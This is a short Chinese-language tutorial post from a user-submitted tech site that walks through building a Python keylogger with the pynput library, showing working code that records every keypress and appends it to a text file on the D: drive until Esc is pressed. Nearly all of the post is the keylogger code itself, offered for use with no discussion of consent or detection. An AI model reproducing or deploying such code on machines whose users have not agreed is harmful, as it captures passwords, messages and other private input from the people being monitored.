python 实现键盘记录器 小功能

网友投稿 1039 2022-05-28

一、安装pynput模块

PS C:\WINDOWS\system32> pip install pynput Looking in indexes: http://mirrors.aliyun.com/pypi/simple Requirement already satisfied: pynput in f:\develop\Python36\lib\site-packages (1.7.2) Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)

二、编写代码

1、引入键盘模块

from pynput.keyboard import Key, Controller,Listener import time

2、读取键盘操作

记录键盘操作,并将记录写入D:\keys.txt路径下

def on_press(key): global keys string = str(key).replace("'","") keys.append(string) key_rcord= "".join(keys) if len(key_rcord)>15: with open('D:\keys.txt', 'a') as f: f.write(key_rcord) keys= []

3、设置停止记录触发事件

python 实现的键盘记录器 小功能

当按到键盘esc时,停止运行记录程序

def on_release(key): if key == Key.esc: return False

4、启动监听

with Listener(on_press=on_press,on_release=on_release) as listener: listener.join()

Python

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:教你彻底卸载Ubuntu双系统,去污不残留!
下一篇:【产品技术】加密系列01:EVS服务端
相关文章